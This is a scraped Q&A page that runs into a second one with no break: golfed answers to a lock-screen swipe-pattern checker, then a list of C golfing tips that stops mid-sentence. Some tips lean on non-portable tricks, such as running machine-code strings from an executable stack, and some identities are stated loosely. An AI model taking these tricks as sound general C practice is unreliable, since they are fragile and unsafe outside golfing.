adjacent pairs F For each pair, execute the rest 1379E-% a) Any digits that are not 1, 3, 7, 9? _|+Y Get sum of pair, and store in Y register A=! b) Sum is not equal to 10? * c) multiply; logical and: a, b yh half of y; this will be equal to the number directly between the current pair if there is one xi(# d) has the middle number been observed yet? + e) plus; logical or: c, d * multiply by the accumulated value so far ``` [Answer] # JavaScript, 112 bytes ``` x=>/^(?!.*(.).*\1|[^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93))../.test(x) ``` Maybe some regex based language should be more shorter. But I don't know. ``` f= x=>/^(?!.*(.).*\1|[^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93))../.test(x) ``` ``` <input id=i oninput=o.value=(f(i.value)?'':'in')+'valid'> is <output id=o> ``` Thanks to Neil, change `)(?!` to `|` save 3 bytes. [Answer] # [Husk](https://github.com/barbuz/Husk), ~~25~~ 20 bytes ``` S=öufΛ¦1ΣẊ§Jzo½+em‰3 ``` Takes a list of integers with 0-based indexing. Returns 0 or 1. [Try it online!](https://tio.run/##yygtzv6vkKtR/KipsUjz0Lb/wbaHt5WmnZt9aJnhucUPd3UdWu5VlX9or3Zq7qOGDcb///@PNojlijbQMQSTRmDSFEga6RiASYiIkY4ZkDbRMQerM9Ex0LEAi5voGOtA9QPVmIBVgUTNoCqB6oBsoAyQbQxUY6pjBFUPUWMMVmUIVWUONNcUKGYCFTOGi5kBxQA "Husk – Try It Online") ## Explanation I stole some ideas from Jonathan Allan's [Jelly answer](https://codegolf.stackexchange.com/a/155617/32014). The idea is the same: insert a new "average node" between each adjacent pair, filter out those that are not actual nodes, remove duplicates and compare to the original list. If the original list contains duplicates, the result is falsy. If the list skips an unvisited node, then it is present in the processed list between the corresponding pair, and the result is falsy. If the input is a singleton, the processed list is empty, and the result is falsy. Otherwise, it is truthy. ``` S=öufΛ¦1ΣẊ§Jzo½+em‰3 Implicit input, say [0,4,6,7,1] m‰3 Divmod each by 3: L = [[0,0],[1,1],[2,0],[2,1],[0,1]] Ẋ§Jzo½+e This part inserts the middle node between adjacent nodes. Ẋ Do this for each adjacent pair, e.g. [1,1],[2,0]: § Apply two functions and combine results with third. zo½+ First function: z Zip with + addition, o½ then halve: N = [3/2,1/2] e Second function: pair: P = [[1,1],[2,0]] J Combining function: join P with N: [[1,1],[3/2,1/2],[2,0]] Result is a list of such triples. Σ Concatenate: [[0,0],[1/2,1/2],[1,1],[1,1],[3/2,1/2],...,[0,1]] f Keep only those pairs Λ both of whose elements ¦1 are divisible by 1, i.e. are integers: [[0,0],[1,1],[1,1],,...,[0,1]] u Remove duplicates: [[0,0],[1,1],[2,0],[2,1],[0,1]] S=ö Is the result equal to L? Implicitly print 1 or 0. ``` [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), 98 bytes Influenced by tsh's [answer](https://codegolf.stackexchange.com/a/155582/34718). I tried to "rephrase" it to be the opposite, matching invalid swipes, then Anti-grepping. ``` A`(.).*\1|^([^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93)|.$) ``` [**Try it online**](https://tio.run/##HYoxDgIxDAR7vwOk5IpIjpM4KXnHQXQUFDQUiHL/Huzrdmb2@/q9P891DQet2xFSTNudMcM@62MLPJA7RFEaBqNnqKCViH1mzwJhh26gA0MdiheFnqUZiBWJSJe4FhNnYiFuJExiQ5RqN1eLN6lqU10MlUolN/u5KfkP) [Answer] ## C++, ~~267~~ 256 bytes ``` #define R)return 0 #define H(a,q)if(d==q&&n==a&&!m[a]R; int v(int s[],int l){if(l<2 R;int m[10]{},i=1,p=s[0],d,n;for(;i<l;++i){m[p]=1;if(m[s[i]]R;d=(d=p-s[i])<0?-d:d;if(d%2<1){n=(p+s[i])/2;H(5,4)H(5,8)H(2,2)H(5,2)H(8,2)H(4,6)H(5,6)H(6,6)}p=s[i];}return 1;} ``` To check if the pattern does not skip over a unvisited node, it does several things : 1. Calculate `d` where `d` is the numerical difference between the current node and the last node. 2. If `d` is odd, then there's no need to check, it can't skip over a node. 3. If `d` is equal to `4` or `8`, then the jump is between nodes `1-9` or `3-7`, so check node `5` 4. If `d` is 2, and the middle node ( `(last_node + current_node)/2` ) is either 2,5 or 8, then check the middle node 5. If `d` is 6, same check as before but with `4`,`5` or `6` The parameters are an `int[]` and it's element count. It returns an `int` which can be interpreted as a `bool` type [Answer] # Perl, 135 bytes (134 + `-n`) ``` @a{split//}=1;(@{[/./g]}==keys%a&&/../)||die();for$c(qw/132 465 798 174 285 396 195 375/){$c=~/(.)(.)(.)/;/^[^$3]*($1$2|$2$1)/&&die()} ``` Slightly ungolfed version ``` @a{split//} = 1; (@{[/./g]} == keys %a && /../) || die(); for $c (qw/132 465 798 174 285 396 195 375/) { $c=~/(.)(.)(.)/; /^[^$3]*($1$2|$2$1)/&&die() } ``` Outputs via exit code. `0` is truthy, any other value is falsy. As per [meta consensus](https://codegolf.meta.stackexchange.com/questions/4780/should-submissions-be-allowed-to-exit-with-an-error/4784), STDERR output in the failure case is ignored. There's probably a quicker way to check the "can't jump over" rule than simply listing all the possibilities. [Answer] # [MATL](https://github.com/lmendo/MATL), ~~42~~ ~~41~~ 39 bytes ``` 9:IeXKi"Ky@=&fJ*+XK+y&fJ*+Em~zw0@(]z8<v ``` This produces * a non-empty column vector containing only *non-zero numbers* as truthy output; or * a non-empty column vector containing *at least a zero* as falsy. [Here](https://codegolf.stackexchange.com/a/95057/36398) you can read why these outputs are respectively truthy and falsy. [**Try it online!**](https://tio.run/##y00syfn/39LKMzXCO1PJu9LBVi3NS0s7wlu7Esxwza2rKjdw0IitsrAp@/8/2lDBSMFYwVTBPBYA) Or [**verify all test cases**](https://tio.run/##dZA/T8MwEMX3foqnShBEpUBJ/yIQHcpQsjB0qFRFwpALtnDsyHYoqQRfPThpYEDFw7unu9/5zs6Zk/UTjpwTLHUYhjsuJEFqXcBpGGIphCpKh1I5IUEfnJXWUVrPr1e0iUU/rha3p9nD@WATD6rW3Odf@93l4izZz27e67vAmdLxKvgMMiZtFSTtsFWGC5C01ASV4tkw9cLhOHMoSsvJek9gRWF0YQRzBOuMUK@95T/bC1tIVv1Q6@PUo78afb8R9UOsubDI2Vs3K/3zfqEyoYSjECsHMkYbix0n1cCG4HuVRq4b2/xQvR0mve0QV61GrU68Rhi2eshEmPo4xqzjxhih6/O1cVttstNfYu69r3g/8swEUccfGJ9LvgE), with footer code that includes the standard [test](https://codegolf.meta.stackexchange.com/questions/2190/interpretation-of-truthy-falsey/2194#2194) for truthiness/falsiness. [Answer] # [Stax](https://github.com/tomtheisen/stax), ~~73~~ ~~72~~ ~~66~~ 65 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax)CP437 ``` ÉWyƒ▬ºJOTƒw-H┌↓&ⁿç↨¼<ü6π║¢S○j⌂zXΣE7≈╩╕╤ö±÷C6▒☼■iP-↑⌐¥]╩q|+zΦ4Φ·¥Ω ``` 79 bytes when unpacked, ``` d4{cAs-5F132396978714EEL3/{xs:IBc0<A*++cEd:-1=sccHs|M=s{U>m|A**mEx%2<xu%x%=!L|+ ``` [Run and debug online!](http://stax.tomtheisen.com/#c=%C3%89Wy%C6%92%E2%96%AC%C2%BAJOT%C6%92w-H%E2%94%8C%E2%86%93%26%E2%81%BF%C3%A7%E2%86%A8%C2%BC%3C%C3%BC6%CF%80%E2%95%91%C2%A2S%E2%97%8Bj%E2%8C%82zX%CE%A3E7%E2%89%88%E2%95%A9%E2%95%95%E2%95%A4%C3%B6%C2%B1%C3%B7C6%E2%96%92%E2%98%BC%E2%96%A0iP-%E2%86%91%E2%8C%90%C2%A5%5D%E2%95%A9q%7C%2Bz%CE%A64%CE%A6%C2%B7%C2%A5%CE%A9&i=%5B4%2C6%2C3%2C1%5D&a=1) or run the [batch test](http://stax.tomtheisen.com/#c=meXd4%7BcAs-5F132396978714EEL3%2F%7Bxs%3AIBc0%3CA*%2B%2BcEd%3A-1%3DsccHs%7CM%3Ds%7BU%3Em%7CA**mEx%252%3Cxu%25x%25%3D%21L%7C%2B&i=%5B1%5D%0A%5B1%2C2%5D%0A%5B1%2C3%5D%0A%5B1%2C6%5D%0A%5B3%2C1%5D%0A%5B3%2C3%5D%0A%5B5%2C8%2C2%5D%0A%5B5%2C1%2C9%5D%0A%5B1%2C5%2C4%2C1%5D%0A%5B1%2C2%2C3%2C5%2C7%5D%0A%5B1%2C5%2C7%2C8%2C2%5D%0A%5B1%2C9%2C7%2C3%2C5%5D%0A%5B4%2C2%2C6%2C3%2C1%5D%0A%5B1%2C5%2C7%2C8%2C4%2C2%5D%0A%5B2%2C9%2C7%2C3%2C8%2C1%2C6%2C4%2C5%5D%0A%5B2%2C9%2C4%2C3%2C8%2C1%2C6%2C7%2C5%5D&a=1), where `meX` is a header so that Stax can process multiline input. Implementation without using hash.Outputs strictly positive number (actually the number of failed tests) for **falsy** cases and `0` for **truthy** ones. ## Explanation `d` clears the input stack. The input is in variable `x` anyway. `4{cAs-5F` generates first part of the middle-node list. `132396978714EE` hardcodes the second part of the middle-node list. `L3/` Collects all elements in main stack and divide into parts each containing 3 elements, the result is array `a`, which is just the array of all invalid 3-node groups. `{xs:IBc0<A*++cEd:-1=sccHs|M=s{U>m|A**mE` For each invalid node list, perform the following checks. The result of the check results are `and`ed using the `**`. Since there are 8 invalid node lists, the result of this code will be an array of 8 elements. The final `E` dispatches the array to its individual elements on the main stack. `xs:I` get the index of the node list elements in the input array. `Bc0<A*++` If the index of "middle node" (e.g. `5` in the node set `1,5,9`) is `-1` (which means it doesn't exist in the input array), change the index to `9`. `cEd:-1=` test whether the two "terminal nodes" (e.g. `1,5` in the node set `1,5,9`) are adjacent in the input array. `sccHs|M=` test whether the transformed index of the "middle node" is larger than those of the two "terminal nodes", which includes two cases: the "middle node" is missing, or the "middle node" comes after the two "terminal nodes" `s{U>m|A` tests whether both indexes of the "end nodes" are nonnegative. (i.e. they both appear in the input). Two additional tests are performed, `x%2<` tests whether the input array is a singleton. `xu%x%=!` tests whether are nodes that have been visited twice. There are 10 test result on the main stack (one for each of the invalid node list, plus two additional tests). `L|+` collects the 10 elements and adds them. `|a` could have also been used which simply checks whether there are any truthy elements on the array. Implicit output. [Answer] ## Java, ~~375~~ 355 bytes -20 bytes thanks to Zacharý ``` int v(int s[]){int[]m=new int[10];int i=1,p=s[0],d,n,l=s.length;if(l<2)return 0;for(;i<l;++i){m[p]=1;if(m[s[i]]!=0)return 0;d=(d=p-s[i])<0?-d:d;if(d%2==0){n=(p+s[i])/2;if((d==4||d==8)&&n==5&&m[5]==0)return 0;if(d==2&&(n==2&&m[2]==0||n==5&&m[5]==0||n==8&&m[8]==0))return 0;if(d==6&&(n==4&&m[4]==0||n==5&&m[5]==0||n==6&&m[6]==0))return 0;}p=s[i];}return 1;} ``` This is a port of [this answer](https://codegolf.stackexchange.com/a/156070/72535) and it works on the same principles [Answer] # [Python 2](https://docs.python.org/2/), 97 bytes Based on [ovs' answer](https://codegolf.stackexchange.com/a/155593/89125) but 2 bytes shorter and less cryptic. Just converts indexes to 2d coordinates and tests parity. Assumes 0-8 indexes. ``` v={9} s=input() for n,l in zip(s[1:]or q,s):n/3+l/3&1|n%3+l%3&1or n+l>>1in v or q;v|={l};n in v>q ``` [Try it online!](https://tio.run/##bZBPc4IwEMXvfIodO1YdMyqgrcXBmz22l94cDymEIVMMGALWqp@dbkL8M53msFnevn0/oDioNBdeE@UxCzudTlOHx5ezU4ZcFJXqD5wklyBIBlzADy/65doNNijtSDkIxNgfZmP/0T2JLnZd7LR7mC2XLvpr0MZFfQqP2XkhdES93DVIcfYpzxh8yIoFDoCSB30BsG8WgX4VaM@DUSrFQKXMDAjwBLiCmMeip0BSXrIYqICVlEgbjUYmqJBcKOgpWan00NNBODEh5rtgT0toh46mRqxQ8Ea3zKQEaEfKBXmF3Bx/OQnNSo35l2OGN8zq/dVSWsweAYxGKRL0HhMx5MldxAX1ia4vuB2LYnLLBbV/KMvzollPiLtxsM6wTsmzfXKJR6bkyfR4W91HfYaTyZ3utxtG8UydY209nlW8a5Jvd@e4i4TNLw "Python 2 – Try It Online") [Answer] # [Japt](https://github.com/ETHproductions/japt), 35 bytes ``` eUä@[(Xu3 aYu3)¥1ªX+Y ÷2XY]Ãc f9o)â ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=VWVV5EBbKFh1MyBhWXUzKaUxqlgrWSD3MlhZXcNjIGY5byni&input=LW1SIFsKWzBdLCAvLyBmYWxzZQpbMCwxXSwgLy8gdHJ1ZQpbMCwyXSwgLy8gZmFsc2UKWzAsNV0sIC8vIHRydWUKWzIsMF0sIC8vIGZhbHNlClsyLDJdLCAvLyBmYWxzZQpbMCwyLDZdLCAvLyBmYWxzZQpbNCw3LDFdLCAvLyB0cnVlCls0LDAsOF0sIC8vIHRydWUKWzAsNCwzLDBdLCAvLyBmYWxzZQpbMCwxLDIsNCw2XSwgLy8gdHJ1ZQpbMCw0LDYsNywxXSwgLy8gdHJ1ZQpbMCw4LDYsMiw0XSwgLy8gZmFsc2UKWzMsMSw1LDIsMF0sIC8vIHRydWUKWzAsNCw2LDcsMywxXSwgLy8gdHJ1ZQpbMCw1LDYsMSw4LDMsMiw3LDRdLCAvLyB0cnVlClsxLDgsNiwyLDcsMCw1LDMsNF0sIC8vIGZhbHNlClsxLDgsMywyLDcsMCw1LDYsNF0gLy8gdHJ1ZQpd) ### Slightly ungolfed & How it works ``` eUä@[(Xu3 aYu3)¥1ªX+Y ÷2XY]Ãc f9o)â Implicit beginning U(input) and some arbitrary sequence conversions UeUä@[(Xu3 aYu3)==1||X+Y ÷2XY]} c f9o)â Uä Convert the input array into length-2 subsections and map... @[ ... ]} function of X,Y which returns an array of... Xu3 aYu3==1||X+Y ÷2 (abs(X%3 - Y%3)==1||X+Y)/2, XY X, Y c Flatten the result of mapping f9o Intersect with range(9) â Take unique elements, preserving order Ue Is the result the same as original array? ``` Ported the idea from [this Jelly solution](https://codegolf.stackexchange.com/a/155617/78410), with some difference in determining potential jumps: * The Jelly answer uses divmod to see if a pair has difference of 2 when applied `/3` or `%3`. * This answer uses only `%3` and checks if the difference is 0 or 2. If the difference is 0, the two cells are vertically aligned, and non-jumps still share the property of `(X+Y)%2 != 0`. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 26 bytes ``` 2lƛ∑n3vḋ∩vƒ-vṅv∨½p;f~¨=⌊U⁼ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCIybMab4oiRbjN24biL4oipdsaSLXbhuYV24oiowr1wO2Z+wqg94oyKVeKBvCIsIiIsIlsyLCA5LCA0LCAzLCA4LCAxLCA2LCA3LCA1XSJd) Port of Jelly. [Answer] # [Pyth](https://pyth.readthedocs.io), 33 bytes ``` q{@U9.nm+mc|g1aZksd2-MC.DR3d_dC,t ``` **[Test suite.](http://pyth.herokuapp.com/?code=q%7B%40U9.nm%2Bmc%7Cg1aZksd2-MC.DR3d_dC%2Ct&test_suite=1&test_suite_input=%5B0%2C+1%5D%0A%5B0%2C+5%5D%0A%5B4%2C+7%2C+1%5D%0A%5B0%2C+1%2C+2%2C+4%2C+6%5D%0A%5B0%2C+4%2C+6%2C+7%2C+1%5D%0A%5B3%2C+1%2C+5%2C+2%2C+0%5D%0A%5B0%2C+4%2C+6%2C+7%2C+3%2C+1%5D%0A%5B0%5D%0A%5B0%2C+2%5D%0A%5B0%2C+8%5D%0A%5B2%2C+0%5D%0A%5B2%2C+2%5D%0A%5B0%2C+2%2C+6%5D%0A%5B0%2C+4%2C+3%2C+0%5D%0A%5B0%2C+8%2C+6%2C+2%2C+4%5D&debug=0)** Uses 0-based indexing. ## Explanation ``` q{@U9.nm+mc|g1aZksd2-MC.DR3d_dC,t –> Full program. Input: a list L from STDIN. ,t –> Pair L with L without the first element. C –> Transpose. m –> Map over the list of pairs (2-element lists): +mc|g1aZksd2-MC.DR3d –> The function to be mapped (variable: d): R d –> For each element of d ... .D 3 –> ... Take its divmod by 3. C –> Tranpose. -M –> Reduce each by subtraction. m –> For each difference (variable: k): g1aZl –> Is |k| ≤ 1? | sd –> If that's falsy, replace it by the sum of d. c 2 –> Divide by 2. + _d –> Append the reverse of d to the result of mapping. .n –> Flatten. @U9 –> Take the intersection with (ℤ ∩ [0; 9)). { –> Deduplicate. q –> And check whether the result equals L. ``` Alternative approach for **34 bytes**: ``` q{sI#I#+Fm+,hdcR2+MCd]edCtBK.DR3QK ``` [Answer] # Haskell, 97 bytes ``` (%)=elem f(h:t)=t>[]&&and[x%a<(gcd(x*v)10>1&&x+v/=10||div(x+v)2%a)|x:a@(v:_)<-scanl(flip(:))[h]t] ``` [Try it online!](https://tio.run/##VY5db4IwGIXv@yvekWnaDTbLhyARs2TZ1WZ2sUtHlkaKktVCSkEu/O@uaOKgd@ec57w9e1b/ciHOZzwhCRf8gHK8jzVJ9GqTTqdMZptuwpZ4t81w99ASOlvR6bR7bJ8TOjudsqLFRhB3wsipi9kLbuMfsnTqLZMC56KocEzIZp/q9JyXag0J9CYcWLVGB1ZIY2QlAtjB0oEd16@l1Fzq2lgXHotC8hp2BO7hW4CzuuIAgmvYFDZTqjzaZWruHEuV1SAuadXoL60@pGk18hoYGK40lDZYjuNYNhQ55IDNGqw4y56qRnFSEEgSwGWSWFo13CKg91yC9fluARc1B@vNnFF3Vnqm/aCc9Wb/EHV7o29dlDeMEZ3/h8gbVZE3RE0xHKVudJMoiAZ/oIAuBooGPh3dcb0gHCzqiTAab1yEXjDs@O78uu1GmIo//JPOQ3fhe1EwpFxzJ6JzPxgP7znD39A/ "Haskell – Try It Online") Make sure `t>[]` (so length ≥ 2), and then: for each reversed-prefix matching `x:a@(v:_)`, check whether visiting `x` when coming from `v` (and having visited all of `a` so far) is valid. Going from `v` to `x` is legal under these conditions: * `x%a<` — we have not yet visited `x`, and… * `gcd(x*v)10>1&&x+v/=10` — `v` and `x` are *not* opposites, or + `div(x+v)2%a` — if they are, at least we've visited the number between them. Flipped back around, our "opposites check" is `gcd(x*v)10==1||x+v==10`. The `gcd` trick works because `x*v` can only be coprime to 10 if both of `x` or `v` are among `[1,3,7,9]` (opposing corners). Then, `x+v==10` takes care of the even digits. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 25 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` ü‚εODÈ*y3‰øÆÄ2@·÷0Ky«}˜ÙQ ``` Port of [*@JonathanAllan*'s Jelly answer](https://codegolf.stackexchange.com/a/155617/52210), so make sure to upvote him!! Input as a 0-based list of digits. [Try it online](https://tio.run/##AUEAvv9vc2FiaWX//8O84oCazrVPRMOIKnkz4oCww7jDhsOEMkDCt8O3MEt5wqt9y5zDmVH//1szLDQsNywxLDIsOCwzXQ) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfaXL/8N7HjXMOrfV3@Vwh1al8aOGDYd3HG473GLkcGj74e0G3pWHVteennN4ZuB/nf/R0QY6hrE6CkDKFESZ6JhD@CY6BjoWEAlDHSMdEx0zCAfIgCkxBsqYAuUMkGWM4cYBuYY6FkABI6CwCUgQwYVIgwWhuo1AFNQsIwgPKIiw1RhmjQVQoxFEq7EO2LlALtBcmAVmcAuA0rGxAA). **Explanation:** ``` ü‚ # Create overlapping pairs of the (implicit) input-list: # i.e. [3,4,7,1,2,8,3] → [[3,4],[4,7],[7,1],[1,2],[2,8],[8,3]] ε # Map each pair `y` to: O # Take the sum of the pair # → [7,11,8,3,10,11] DÈ # Duplicate the sum, and check whether it's even (1 if truhy; 0 if falsey) # → [0,0,1,0,1,0] * # And multiply it by the sum # → [0,0,8,0,10,0] y # Push the current pair again 3‰ # Take the divmod-3 on both values # → [[[1,0],[1,1]],[[1,1],[2,1]],[[2,1],[0,1]],[[0,1],[0,2]],[[0,2],[2,2]],[[2,2],[1,0]]] ø # Zip/transpose; swapping rows/columns # → [[[1,1],[0,1]],[[1,2],[1,1]],[[2,0],[1,1]],[[0,0],[1,2]],[[0,2],[2,2]],[[2,1],[2,0]]] Æ # Reduce each by subtracting # → [[0,-1],[-1,0],[2,0],[0,-1],[-2,0],[1,2]] Ä # Take the absolute value of each # → [[0,1],[1,0],[2,0],[0,1],[2,0],[1,2]] 2@ # Check for each that it's >=2 (1 if truthy; 0 if falsey) # → [[0,0],[0,0],[1,0],[0,0],[1,0],[0,1]] · # Double each # → [[0,0],[0,0],[2,0],[0,0],[2,0],[0,2]] ÷ # (Integer-)divide the earlier sum by this, # where dividing by 0 results in 0 in this 05AB1E version # → [[0,0],[0,0],[4,0],[0,0],[5,0],[0,0]] 0K # Remove all 0s # → [[],[],[4],[],[5],[]] y« # Merge the pair to it # → [[3,4],[4,7],[4,7,1],[1,2],[5,2,8],[8,3]] }˜ # After the map: flatten the list # → [3,4,4,7,4,7,1,1,2,5,2,8,8,3] Ù # Uniquify it # → [3,4,7,1,2,5,8] Q # And check whether it's equal to the (implicit) input-list # → 0 (falsey) # (after which this result is output implicitly) ``` ]
[Question] [ What general tips do you have for golfing in C? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to C (e.g. "remove comments" is not an answer). Please post one tip per answer. Also, please include if your tip applies to C89 and/or C99 and if it only works on certain compilers. [Answer] Use bitwise XOR to check for inequality between integers: `if(a^b)` instead of `if(a!=b)` saves 1 character. [Answer] * Abuse `main`'s argument list to declare one or more integer variables: ``` main(a){for(;++a<28;)putchar(95+a);} ``` *(answer to [The alphabet in programming languages](https://codegolf.stackexchange.com/questions/2078/the-alphabet-in-programming-languages/2093#2093))* This solution also abuses the fact that `a` (a.k.a. `argc`) starts out as `1`, provided the program is called with no arguments. * Use global variables to initialize things to zero: ``` t[52],i;main(c){for(;i<52;)(c=getchar())<11?i+=26:t[i+c-97]++; for(i=27;--i&&t[i-1]==t[i+25];);puts(i?"false":"true");} ``` *(answer to [Anagram Code Golf!](https://codegolf.stackexchange.com/questions/1294/anagram-code-golf/1307#1307))* [Answer] # Avoid catastrophic function-argument type declarations If you're declaring a function where all five arguments are `int`s, then life is good. you can simply write ``` f(a,b,c,d,e){ ``` But suppose `d` needs to be a `char`, or even an `int*`. Then you're screwed! If one parameter is preceded by a type, all of them must be: ``` f(int a,int b,int c,int*d,int e){ ``` But wait! There is a way around this disastrous explosion of useless characters. It goes like this: ``` f(a,b,c,d,e) int *d; { ``` This even saves on a standard `main` declaration if you need to use the command-line arguments: ``` main(c,v)char**v;{ ``` is two bytes shorter than ``` main(int c,char**v){ ``` I was surprised to discover this, as I have not so far encountered it on PPCG. [Answer] The comma operator can be used to execute multiple expressions in a single block while avoiding braces: ``` main(){ int i = 0; int j = 1; if(1) i=j,j+=1,printf("%d %d\n",i,j); // multiple statements are all executed else printf("failed\n"); } ``` Outputs: `1 2` [Answer] Instead of >= and <= you can simply use integer division (/) when the compared values are above zero, which saves one character. For example: ``` putchar(c/32&&126/c?c:46); //Prints the character, but if it is unprintable print "." ``` Which is of course still shrinkable, using for example just > and ^ (a smart way to avoid writing && or || in some cases). ``` putchar(c>31^c>126?c:46); ``` The integer division trick is for example useful to decide whether a number is less than 100, as this saves a character: ``` a<100 vs 99/a ``` This is also good in cases when higher precedence is needed. [Answer] Certain compilers, such as GCC, allow you to omit basic `#include`s, param, and return types for `main`. The following is a valid C89 and C99 program that compiles (with warnings) with GCC: ``` main(i) { printf("%d", i); } ``` Notice that the `#include` for stdio.h is missing, the return type for `main` is missing, and the type declaration for `i` is missing. [Answer] # Use lambdas (unportable) Instead of ``` f(int*a,int*b){return*a>*b?1:-1;} ... qsort(a,b,4,f); ``` or (gcc only) ``` qsort(a,b,4,({int L(int*a,int*b){a=*a>*b?1:-1;}L;})); ``` or (clang with blocks support) ``` qsort_b(a,b,4,^(const void*a,const void*b){return*(int*)a>*(int*)b?1:-1;}); ``` try something like ``` qsort(a,b,4,"\x8b\7+\6\xc3"); ``` ...where the string literal contains the machine language instructions of your "lambda" function (conforming to all platform ABI requirements). This works in environments in which string constants are marked executable. By default this is true in Linux and OSX but not Windows. One silly way to learn to write your own "lambda" functions is to write the function in C, compile it, inspect it with something like `objdump -D` and copy the corresponding hex code into a string. For example, ``` int f(int*a, int*b){return *a-*b;} ``` ...when compiled with `gcc -Os -c` for a Linux x86\_64 target generates something like ``` 0: 8b 07 mov (%rdi),%eax 2: 2b 06 sub (%rsi),%eax 4: c3 retq ``` [MD XF](https://codegolf.stackexchange.com/users/61563/md-xf) wrote a bash [script](https://gist.github.com/aaronryank/c6fd96d543658b19ed9268a3844d0657) that may assist in the writing of simple "lambda" functions. Edit: This technique was previously published by Shinichiro Hamaji in [this document](http://shinh.skr.jp/dat_dir/golf_prosym.pdf). # GNU CC `goto`: You can call these "lambda functions" directly but if the code you're calling doesn't take parameters and isn't going to return, you can use `goto` to save a few bytes. So instead of ``` ((int(*)())L"ﻫ")(); ``` or (if your environment doesn't have Arabic glyphs) ``` ((int(*)())L"\xfeeb")(); ``` Try ``` goto*&L"ﻫ"; ``` or ``` goto*&L"\xfeeb"; ``` In this example, `eb fe` is x86 machine language for something like `for(;;);` and is a simple example of something that doesn't take parameters and isn't going to return :-) It turns out you can `goto` code that returns to a calling parent. ``` #include<stdio.h> int f(int a){ if(!a)return 1; goto*&L"\xc3c031"; // return 0; return 2; // never gets here } int main(){ printf("f(0)=%d f(1)=%d\n",f(0),f(1)); } ``` The above example (might compile and run on Linux with `gcc -O`) is sensitive to the stack layout. EDIT: Depending on your toolchain, you may have to use the `-zexecstack` (for gcc) or `-Wl,-z,execstack` (for clang) compile flag. *If it isn't immediately apparent, this answer was mainly written for the lols. I take no responsibility for better or worse golfing or adverse psychological outcomes from reading this.* [Answer] The ternary conditional operator `?:` can often be used as a stand in for simple `if`--`else` statements at considerable savings. Unlike [the c++ equivalent](https://codegolf.stackexchange.com/questions/132/tips-for-golfing-in-c/2228#2228) the operator [does not formally yield an lvalue](https://stackoverflow.com/q/1082655/2509), but some compilers (notably gcc) will let you get away with it, which is a nice bonus. [Answer] <http://graphics.stanford.edu/~seander/bithacks.html> Bits are nice. ``` ~-x = x - 1 -~x = x + 1 ``` But with different precedences, and don't change x like ++ and --. Also you can use this in really specific cases: ~9 is shorter than -10. ``` if(!(x&y)) x | y == x ^ y == x + y if(!(~x&y)) x ^ y == x - y ``` That's more esoteric, but I've had occassion to use it. If you don't care about short-circuiting ``` x*y == x && y if(x!=-y) x+y == x || y ``` Also: ``` if(x>0 && y>0) x/y == x>=y ``` [Answer] Define parameters instead of variables. `f(x){int y=x+1;...}` `f(x,y){y=x+1;...}` You don't need to actually pass the second parameter. Also, you can use operator precedence to save parenthesis. For example, `(x+y)*2` can become `x+y<<1`. [Answer] Use *cursors* instead of pointers. Snag the `brk()` at the beginning and use it as a *base-pointer*. ``` char*m=brk(); ``` Then make a #define for memory access. ``` #define M [m] ``` `M` becomes a postfix `*` applied to integers. (The old a[x] == x[a] trick.) But, there's more! Then you can have pointer args and returns in functions that are shorter than macros (especially if you abbreviate 'return'): ``` f(x){return x M;} //implicit ints, but they work like pointers #define f(x) (x M) ``` To make a cursor from a pointer, you subtract the base-pointer, yielding a ptrdiff\_t, which truncates into an int, losses is yer biz. ``` int p = sbrk(sizeof(whatever)) - m; strcpy(m+p, "hello world"); ``` This technique is used in my answer to [Write an interpreter for the untyped lambda calculus](https://codegolf.stackexchange.com/questions/284/write-an-interpreter-for-the-untyped-lambda-calculus/3290#3290). [Answer] The ternary operator `?:` is unusual in that it has two separate pieces. Because of this, it provides a bit of a loophole to standard operator precedence rules. This can be useful for avoiding parentheses. Take the following example: ``` if (t()) a = b, b = 0; /* 15 chars */ ``` The usual golfing approach is to replace the `if` with `&&`, but because of the low precedence of the comma operator, you need an extra pair of parentheses: ``` t() && (a = b, b = 0); /* still 15 chars */ ``` The middle section of the ternary operator doesn't need parentheses, though: ``` t() ? a = b, b = 0 : 0; /* 14 chars */ ``` Similar comments apply to array subscripts. [Answer] Any part of your code that repeats several times is a candidate for replacement with the pre-processor. ``` #define R return ``` is a very common use case if you code involves more than a couple of functions. Other longish keywords like `while`, `double`, `switch`, and `case` are also candidates; as well as anything that is idomatic in your code. I generally reserve uppercase character for this purpose. [Answer] Since usually `EOF == -1`, use the bitwise NOT operator to check for EOF: `while(~(c=getchar()))` or `while(c=getchar()+1)` and modify value of c at every place [Answer] If you ever need to output a single newline character (`\n`), don't use `putchar(10)`, use `puts("")`. [Answer] # Reverse Loops If you can, try to replace ``` for(int i=0;i<n;i++){...} ``` with ``` for(int i=n;i--;){...} ``` [Answer] # Use `for` rather than `while` Any `while` can be changed into a `for` of the same length: ``` while(*p++) for(;*p++;) ``` On its own, that's not golf. But we now have an opportunity to move an immediately-preceding statement into the parens, saving its terminating semicolon. We might also be able to hoist an expression statement from the end of the loop; if the loop contained two statements, we could also save the braces: ``` a=5;while(*p++){if(p[a])--a;++b;} for(a=5;*p++;++b)if(p[a])--a; ``` Even `do...while` loops should be replaced with `for` loops. `for(;foo,bar,baz;);` is shorter than `do foo,bar;while(baz);`. [Answer] If your program is reading or writing on one in each step basis always try to use [read](http://pubs.opengroup.org/onlinepubs/009695399/functions/read.html) and [write](http://pubs.opengroup.org/onlinepubs/009695399/functions/write.html) function instead of [getchar()](http://www.cplusplus.com/reference/clibrary/cstdio/getchar/) and [putchar()](http://www.cplusplus.com/reference/clibrary/cstdio/putchar/). **Example** ([Reverse stdin and place on 